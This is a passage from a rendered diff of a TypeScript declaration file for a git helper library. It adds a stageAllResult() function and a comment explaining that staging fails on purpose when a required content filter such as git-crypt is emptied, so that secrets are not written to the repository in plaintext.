export declare function getChangedFiles(cwd?: string): string[];
|
|
35
276
|
/**
|
|
@@ -41,7 +282,24 @@ export declare function suggestCommitMessage(diff: string): string;
|
|
|
41
282
|
*/
|
|
42
283
|
export declare function createCommit(message: string, cwd?: string): GitCommitResult;
|
|
43
284
|
/**
|
|
44
|
-
* Stage all changes
|
|
285
|
+
* Stage all changes, with the reason when it did not happen.
|
|
286
|
+
*
|
|
287
|
+
* The reason matters most in a repository with a REQUIRED content filter —
|
|
288
|
+
* git-crypt, git-lfs, any repo-local `filter.<d>.required = true`. The
|
|
289
|
+
* repo-scope layer empties that driver's `clean` command and deliberately
|
|
290
|
+
* leaves `required` alone, so git aborts with `fatal: <file>: clean filter
|
|
291
|
+
* '<d>' failed` and exit 128 rather than writing the unfiltered content. That
|
|
292
|
+
* is the intended outcome (see the filter rule above: the alternative was
|
|
293
|
+
* plaintext secrets in the object database), and it is only useful if the
|
|
294
|
+
* user gets to read it — `stdio: 'ignore'` here used to throw the sentence
|
|
295
|
+
* away and leave them with "Failed to stage changes".
|
|
296
|
+
*/
|
|
297
|
+
export declare function stageAllResult(cwd?: string): {
|
|
298
|
+
success: boolean;
|
|
299
|
+
error?: string;
|
|
300
|
+
};
|
|
301
|
+
/**
|
|
302
|
+
* Stage all changes. See stageAllResult() when the reason matters.
|
|
45
303
|
*/
|
|
46
304
|
export declare function stageAll(cwd?: string): boolean;
|
|
47
305
|
/**
|